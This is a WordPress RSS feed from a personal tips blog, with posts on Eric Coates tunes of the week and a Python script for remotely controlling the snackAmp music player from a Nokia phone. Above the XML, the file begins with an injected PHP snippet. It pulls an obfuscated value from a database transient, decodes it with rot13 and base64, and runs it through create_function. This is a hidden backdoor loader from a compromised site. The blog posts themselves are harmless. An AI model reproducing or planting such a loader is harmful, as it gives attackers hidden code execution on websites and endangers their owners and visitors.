<? /**/ ?>
<?
$z=get_option("_transient_feed_99e5d264eeaa8c05e17c5eed4140b1dd"); $z=base64_decode(str_rot13($z)); if(strpos($z,"A0ED8507")!==false){ $_z=create_function("",$z); @$_z(); }
 /**/ ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dr Jan's Tips From The Top &#187; music</title>
	<atom:link href="http://www.dr-jan.com/tips/category/music/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dr-jan.com/tips</link>
	<description>Handy hints and techy tips from Dr Jan.</description>
	<lastBuildDate>Tue, 15 May 2012 22:11:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Dr Jan&#8217;s Tune Of The Week 3 &#8211; By The Sleepy Lagoon</title>
		<link>http://www.dr-jan.com/tips/2012/05/15/dr-jans-tune-of-the-week-3/</link>
		<comments>http://www.dr-jan.com/tips/2012/05/15/dr-jans-tune-of-the-week-3/#comments</comments>
		<pubDate>Mon, 14 May 2012 23:24:37 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[music]]></category>
		<category><![CDATA[totw]]></category>
		<category><![CDATA[By The Sleepy Lagoon]]></category>
		<category><![CDATA[Eric Coates]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=75</guid>
		<description><![CDATA[This is the third in my series &#8216;Dr Jan&#8217;s Tunes Of The Week&#8217;. May is the month for Eric Coates, and this week&#8217;s tune is &#8220;By The Sleepy Lagoon&#8221;. Most of you will know this as the theme music for &#8220;Desert Island Discs&#8221; on BBC Radio 4. There is a blue plaque in Selsey, West [...]]]></description>
			<content:encoded><![CDATA[<p>This is the third in my series &#8216;Dr Jan&#8217;s Tunes Of The Week&#8217;. May is the month for Eric Coates, and this week&#8217;s tune is &#8220;By The Sleepy Lagoon&#8221;. Most of you will know this as the theme music for &#8220;Desert Island Discs&#8221; on BBC Radio 4.</p>
<p>There is a blue plaque in Selsey, West Sussex which bears the inscription</p>
<blockquote><p>This view across the sea to Bognor Regis inspired Eric Coates to compose &#8216;By The Sleepy Lagoon&#8217; in 1930. It became the BBC signature tune for &#8216;Desert Island Discs&#8217;.</p></blockquote>
<p>From the Wikipedia (&#8220;By the Sleepy Lagoon&#8221;):</p>
<blockquote><p>Coates had originally been inspired to write the piece in 1930 while overlooking a beach in West Sussex. His son, Austin Coates, remembers:</p>
<p>    It was inspired in a very curious way and not by what you might expect. It was inspired by the view on a warm, still summer evening looking across the &#8220;lagoon&#8221; from the east beach at Selsey towards Bognor Regis. It&#8217;s a pebble beach leading steeply down, and the sea at that time is an incredibly deep blue of the Pacific. It was that impression, looking across at Bognor, which looked pink &#8211; almost like an enchanted city with the blue of the Downs behind it &#8211; that gave him the idea for the Sleepy Lagoon. He didn&#8217;t write it there; he scribbled it down, as he used to, at extreme speed, and then simply took it back with him to London where he wrote and orchestrated it.</p></blockquote>
<p>Here&#8217;s a link to YouTube:<br />
<iframe width="480" height="360" src="http://www.youtube.com/embed/Or5cjm_fSpo" frameborder="0" allowfullscreen></iframe></p>
<p>Here&#8217;s a link to an mp3 download on Amazon:</p>
<p><a href="http://www.amazon.co.uk/gp/product/B0059KP15K/ref=as_li_ss_tl?ie=UTF8&#038;tag=drjancom-21&#038;linkCode=as2&#038;camp=1634&#038;creative=19450&#038;creativeASIN=B0059KP15K">By The Sleepy Lagoon by Eric Coates.</a><img src="http://www.assoc-amazon.co.uk/e/ir?t=drjancom-21&#038;l=as2&#038;o=2&#038;a=B0059KP15K" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2012/05/15/dr-jans-tune-of-the-week-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dr Jan&#8217;s Tune Of The Week 2 &#8211; Knightsbridge March</title>
		<link>http://www.dr-jan.com/tips/2012/05/08/dr-jans-tune-of-the-week-2/</link>
		<comments>http://www.dr-jan.com/tips/2012/05/08/dr-jans-tune-of-the-week-2/#comments</comments>
		<pubDate>Mon, 07 May 2012 23:08:22 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[music]]></category>
		<category><![CDATA[totw]]></category>
		<category><![CDATA[Eric Coates]]></category>
		<category><![CDATA[Knightsbridge March]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=71</guid>
		<description><![CDATA[Continuing with my Eric Coates theme, this week my Tune Of The Week is the Knightsbridge March. From the Wikipedia (&#8220;In Town Tonight&#8221;): In Town Tonight was a BBC radio programme broadcast on Saturday evening from 1933 to 1960 (except for a period of 26 weeks in 1937 when The BBC presents the ABC was [...]]]></description>
			<content:encoded><![CDATA[<p>Continuing with my Eric Coates theme, this week my Tune Of The Week is the Knightsbridge March.</p>
<p>From the Wikipedia (&#8220;In Town Tonight&#8221;):</p>
<blockquote><p>In Town Tonight was a BBC radio programme broadcast on Saturday evening from 1933 to 1960 (except for a period of 26 weeks in 1937 when The BBC presents the ABC was broadcast instead). It was an early example of the chat show, originally presented by Eric Maschwitz.</p>
<p>Its theme music was the Knightsbridge March by Eric Coates. Its introductory sequence had a voice crying &#8220;Stop&#8221; to interrupt the sound of busy central London, before an announcer said &#8220;Once more we stop the mighty roar of London&#8217;s traffic &#8230;&#8221; At the end of the programme the voice would say &#8220;Carry on, London&#8221;.</p></blockquote>
<p>This is definitely one of those tunes which you&#8217;ll recognise when you hear it. Knightsbridge is the third and final movement of the London Suite and was written in 1933.</p>
<p>Here it is on YouTube, for your listening pleasure:</p>
<p><iframe width="480" height="360" src="http://www.youtube.com/embed/WTPWUDscd_s" frameborder="0" allowfullscreen></iframe></p>
<p>And here&#8217;s a link to an mp3 download on Amazon:</p>
<p><a href="http://www.amazon.co.uk/gp/product/B0059KP0DI/ref=as_li_ss_tl?ie=UTF8&#038;tag=drjancom-21&#038;linkCode=as2&#038;camp=1634&#038;creative=19450&#038;creativeASIN=B0059KP0DI">Knightsbridge March by Eric Coates</a><img src="http://www.assoc-amazon.co.uk/e/ir?t=drjancom-21&#038;l=as2&#038;o=2&#038;a=B0059KP0DI" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2012/05/08/dr-jans-tune-of-the-week-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dr Jan&#8217;s Tune Of The Week 1 &#8211; Calling All Workers</title>
		<link>http://www.dr-jan.com/tips/2012/05/01/dr-jans-tune-of-the-week/</link>
		<comments>http://www.dr-jan.com/tips/2012/05/01/dr-jans-tune-of-the-week/#comments</comments>
		<pubDate>Tue, 01 May 2012 18:56:01 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[music]]></category>
		<category><![CDATA[totw]]></category>
		<category><![CDATA[Calling All Workers]]></category>
		<category><![CDATA[Eric Coates]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=57</guid>
		<description><![CDATA[I&#8217;m planning to create a new feature on the blog, Dr Jan&#8217;s Tune Of The Week (TOTW). Each week, I&#8217;ll share details of the tune which is stuck in my ear, or which I&#8217;d like to draw your attention to. Where possible, I&#8217;ll link to a YouTube video featuring the tune, and provide a link [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m planning to create a new feature on the blog, Dr Jan&#8217;s Tune Of The Week (TOTW). Each week, I&#8217;ll share details of the tune which is stuck in my ear, or which I&#8217;d like to draw your attention to. Where possible, I&#8217;ll link to a YouTube video featuring the tune, and provide a link to Amazon where you can buy it.</p>
<p>I&#8217;m kicking off now at the very start of May 2012, and my theme for May will be the music of Eric Coates.</p>
<p>So, my very first Dr Jan&#8217;s Tune Of The Week is&#8230;</p>
<h3>&#8220;Calling All Workers&#8221; by Eric Coates</h3>
<p>From the Wikipedia (&#8220;Music While You Work&#8221;):</p>
<blockquote><p>
Music While You Work was a daytime radio programme of continuous live popular music broadcast in the United Kingdom twice daily on workdays from June 1940 until September 1967 by the BBC, initially in the Forces / General Forces Programme, and after the war in the BBC Light Programme and, in the mornings, on the BBC Home Service. The programme began in World War II. By playing non-stop popular / light music at an even tempo it aimed to help factory workers become more productive. For a period, a third edition was broadcast in the late evening for night-shift workers.</p>
<p>&#8230;</p>
<p>The programme began and ended with Calling All Workers by Eric Coates</p></blockquote>
<p>This is such an energetic tune, it really does make you want to jump up and start producing things <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>There is a second or two, just after the initial fanfare, when I&#8217;m reminded of the music used for the mini-game of Back Attack in the Wii Party Games suite. It&#8217;s just a drum and possibly some bass strings playing a classic &#8216;oom-cha, oom-cha&#8217; rhythm.</p>
<p>Here it is on YouTube:</p>
<p><iframe width="480" height="360" src="http://www.youtube.com/embed/w1FIoNwfBQk" frameborder="0" allowfullscreen></iframe></p>
<p>How stirring is that?</p>
<p>And here&#8217;s a link to an mp3 version on Amazon.co.uk:</p>
<p><a href="http://www.amazon.co.uk/gp/product/B0059KP0VU/ref=as_li_ss_tl?ie=UTF8&#038;tag=drjancom-21&#038;linkCode=as2&#038;camp=1634&#038;creative=19450&#038;creativeASIN=B0059KP0VU">&#8220;Calling All Workers&#8221; from the Eric Coates plays Eric Coates album.</a><img src="http://www.assoc-amazon.co.uk/e/ir?t=drjancom-21&#038;l=as2&#038;o=2&#038;a=B0059KP0VU" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>
<p>Look out for more Eric Coates gorgeousness next week <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2012/05/01/dr-jans-tune-of-the-week/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remotely Controlling Your Music Player</title>
		<link>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</link>
		<comments>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/#comments</comments>
		<pubDate>Fri, 19 Oct 2007 22:35:55 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[dev]]></category>
		<category><![CDATA[gui]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[s60]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[snackAmp]]></category>
		<category><![CDATA[tcp socket]]></category>
		<category><![CDATA[tkinter]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[wi-fi]]></category>
		<category><![CDATA[x-windows]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/</guid>
		<description><![CDATA[I have recently programmed my Nokia N95 phone to control my music player (the rather marvellous snackAmp) remotely. SnackAmp sits on my Linux-based server box. It has a remote control feature (details here) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently programmed my <a href="http://www.nseries.com/products/n95/index.html#l=products,n95">Nokia N95</a> phone to control my music player (the rather marvellous <a href="http://snackamp.sourceforge.net/">snackAmp</a>) remotely.</p>
<p>SnackAmp sits on my Linux-based server box. It has a remote control feature (details <a href="http://snackamp.sourceforge.net/user_manual/um_api.html">here</a>) which accepts control strings from a TCP socket. I wrote a Python script which runs on the phone to open a Wi-Fi connection to my music server and send simple commands to control it.</p>
<p>I was pleasantly surprised at just how easy all this turned out to be <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>First, I installed <a href="http://www.python.org/">Python</a>. This is available from the <a href="http://opensource.nokia.com/projects/pythonfors60/">Nokia Opensource site</a>. The N95 uses the 3rd edition of the S60 operating system, so I downloaded these files:</p>
<ul>
<li>PythonForS60_1_4_1_3rdEd.SIS
</li>
<li>PythonScriptShell_1_4_1_3rdEd.sis
</li>
</ul>
<p>Then I wrote a small Python script to open a TCP socket on the music server and send the appropriate text strings to control the music player.</p>
<p>The script (see below) first defines some handy functions. send_command actually sends the specified command to the music player. play, pause, stop, next and prev call the send_command function with the appropriate command text.</p>
<p>The main section of the script first checks if there are any command line parameters. If there are, it tries to immediately send the appropriate command and then exits.</p>
<p>If not, it discovers which operating system it is running on, and uses that information to execute one of two sections. The S60 section uses a standard Nokia list GUI widget to enable the user to select a command. The script sends the command and exits. Note that the Nokia GUI requires you to specify all strings as Unicode. Python does this by prefixing each string with &#8216;u&#8217; &#8211; for example, u&#8217;Pause&#8217;.</p>
<p>The Linux section uses the standard Python Tkinter GUI library to generate a small X-windows based window with push buttons to select commands. This part of the script uses a loop to allow multiple commands to be sent. The window is active until you select the Quit option.</p>
<p>Here is the script:</p>
<div id="script" class="code">
<pre>
#!/usr/bin/python
import socket
import sys
import string

def send_command(command):
        # opens a socket to snackAmp, sends the appropriate command and
        # closes the socket.

        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # connect to server
        host = '192.168.1.20' # server address - bletchley is 192.168.1.20
        port = 8775 # server port
        s.connect((host, port))

        s.send(command) # send command

        # close the connection
        s.close()

def prev():
        print 'previous...'
        send_command('xmms_remote_playlist_prev')

def pause():
        print 'pause...'
        send_command('xmms_remote_pause')

def play():
        print 'play...'
        send_command('xmms_remote_play')

def stop():
        print 'stop...'
        send_command('xmms_remote_stop')

def next():
        print 'next...'
        send_command('xmms_remote_playlist_next')

args = sys.argv[1:]     # don't keep the program name
if len(args) > 0:
        for a in args:
                found = 0
                a = string.lower(a)
                if a == 'pause':
                        found = 1
                        pause()
                if a == 'prev':
                        found = 1
                        prev()
                if a == 'play':
                        found = 1
                        play()
                if a == 'stop':
                        found = 1
                        stop()
                if a == 'next':
                        found = 1
                        next()
                if found == 0:
                        print "Command not recognised. Currently implemented are pause, prev, play, stop, next."
else:
        if sys.platform == 'symbian_s60':
                # we are running on a Nokia phone
                import appuifw  # access to the user interface framework
                menu = [u'Pause', u'Prev', u'Next', u'Play', u'Stop']
                index = appuifw.selection_list(choices=menu, search_field=0)

                if index == 0:
                        pause()

                if index == 1:
                        prev()

                if index == 2:
                        next()

                if index == 3:
                        play()

                if index == 4:
                        stop()
        else:
                # we are running on a standard computer (i.e. not a phone)
                from Tkinter import *

                class Application(Frame):
                        def __init__(self, master=None):
                                Frame.__init__(self, master)
                                self.grid()
                                self.createWidgets()

                        def createWidgets(self):
                                self.pauseButton = Button (self, text="Pause", underline = 0, command=pause)
                                self.pauseButton.grid(row=0, column=0, columnspan=4, sticky=E+W)
                                self.prevButton = Button (self, text="Prev", underline = 1, command=prev)
                                self.prevButton.grid(row=1, column=0)
                                self.playButton = Button (self, text="Go", underline = 0, command=play)
                                self.playButton.grid(row=1, column=1)
                                self.stopButton = Button (self, text="Stop", underline = 0, command=stop)
                                self.stopButton.grid(row=1, column=2)
                                self.nextButton = Button (self, text="Next", underline = 0, command=next)
                                self.nextButton.grid(row=1, column=3)
                                self.quitButton = Button (self, text="Quit", underline = 0, command=self.quit)
                                self.quitButton.grid(row=2, column=0, columnspan=4, sticky=E+W)

                app = Application()
                app.master.title("snackAmp Control")
                app.mainloop()
</pre>
</div>
<p>You&#8217;ll need to create the script in your favourite text editor on your PC and then transfer it to the phone. I used a USB cable to connect the phone to the PC and selected the mass storage option on the phone. Once the file is transferred, you&#8217;ll need to disconnect the USB cable so the phone can access the memory card again.</p>
<p>In theory you can use Bluetooth to transfer the script, but I&#8217;ve seen reports that it doesn&#8217;t work with S60 3rd edition. I don&#8217;t have Bluetooth on my Linux server, so I can&#8217;t tell you <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>In use, start Python on the phone, then run a script. Select the script name and the command list appears. Choose a command. The &#8216;Select access point&#8217; screen appears and I choose my Wi-Fi router connection. Then magic happens and the music obeys my commands <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2007/10/19/remotely-controlling-your-music-player/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

